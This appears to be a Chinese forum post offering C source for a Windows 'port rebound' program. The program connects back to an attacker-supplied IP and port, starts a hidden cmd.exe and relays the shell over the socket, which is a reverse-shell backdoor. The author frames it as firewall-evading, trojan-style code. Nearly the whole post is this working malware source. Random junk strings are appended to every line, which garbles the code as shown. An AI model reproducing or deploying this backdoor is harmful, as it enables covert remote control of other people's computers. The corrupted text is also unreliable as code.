Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 PoPR34]^J  
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/* ============================== NlKVl~_ C  
Rebound port in Windows NT )OxcCV?5Z  
By wind,2006/7 )Se$N6u-  
===============================*/ fi`\e W  
#include 3Ke6lV)uq  
#include Ddpcov  
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#pragma comment(lib,"wsock32.lib") -eyF9++`  
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void OutputShell();
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SOCKET sClient; {5<fvMO!6  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; >V27#L2:J  
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void main(int argc,char **argv) Mb 4"bDBsl  
{ f pq|mY  
WSADATA stWsaData; 6uFw+Ya#  
int nRet; -bHlFNRm  
SOCKADDR_IN stSaiClient,stSaiServer; /(51\RYkir  
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if(argc != 3) /:(A9b-B  
{ .'<K$:8@|  
printf("Useage:\n\rRebound DestIP DestPort\n"); H${LF.8  
return; Mh5> hD  
} m}s.a.x  
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WSAStartup(MAKEWORD(2,2),&stWsaData); AguE)I&m  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); yxp,)os:  
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stSaiClient.sin_family = AF_INET; A`Y^qXFb`  
stSaiClient.sin_port = htons(0); d!0rq4v7  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); TPk?MeVy%W  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) SM4`Hys;p  
{ B\)Te9k'  
printf("Bind Socket Failed!\n"); ;..z)OP
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return; b(;u2 8  
} `Y4Kw  
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stSaiServer.sin_family = AF_INET; |`#fX(=  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); E(|A"=\  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) I@/ G#3Zr  
{ A`f"<W-m  
printf("Connect Error!"); Dn 0L%?_  
return; F!ztU8,  
} u*)/e9C  
OutputShell(); \j62"

  
} "N6HX*  
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void OutputShell() C`g "Mk8  
{ ;6[6~L%K}  
char szBuff[1024]; 8$\j| mN  
SECURITY_ATTRIBUTES stSecurityAttributes; wPjq B{!Q  
OSVERSIONINFO stOsversionInfo; ZxwrlaA  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; /ta}12Z  
STARTUPINFO stStartupInfo; iiIns.V  
char *szShell; U,EoCAm>  
PROCESS_INFORMATION stProcessInformation; bAZoi0LR  
unsigned long lBytesRead; kP&I}R
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ya8p 4N{_  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); cE 'LE1DK  
stSecurityAttributes.lpSecurityDescriptor = 0; <Q9l'u]3$c  
stSecurityAttributes.bInheritHandle = TRUE; _90D4kGU  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ?I[8rzBWU  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); BA2"GJvfIA  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); v7 *L3Ol  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; nXLz<wE  
stStartupInfo.wShowWindow = SW_HIDE; j}ob7O&U'w  
stStartupInfo.hStdInput = hReadPipe; 0@-4.IHl  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; FDLo|aP/v  
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GetVersionEx(&stOsversionInfo); b},2A'X  
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switch(stOsversionInfo.dwPlatformId) )4=86>XJT  
{ OA&'T*)-A6  
case 1: Gc`PO  
szShell = "command.com"; H@1'El\9  
break; $kTm"I  
default: x:MwM?  
szShell = "cmd.exe"; s"=TM$Vb  
break; 8c)GUx  
} nD BWm`kN  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Gg'!(]v  
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send(sClient,szMsg,77,0); m1pA]}Y/5o  
while(1) @-dGZ5  
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Hp=BnN  
if(lBytesRead) -a)1L'R  
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); >fXtu:C-!J  
send(sClient,szBuff,lBytesRead,0); qKfUm:7Q_  
} +Pl)E5W!=`  
else :6nD"5(  
{ qhGz2<}_j  
lBytesRead=recv(sClient,szBuff,1024,0); _HHvL=  
if(lBytesRead<=0) break; #kM|!U=  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); MRt"#CO  
} metn&  
} mxgT}L0i  
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return; )hrsA&1w  
}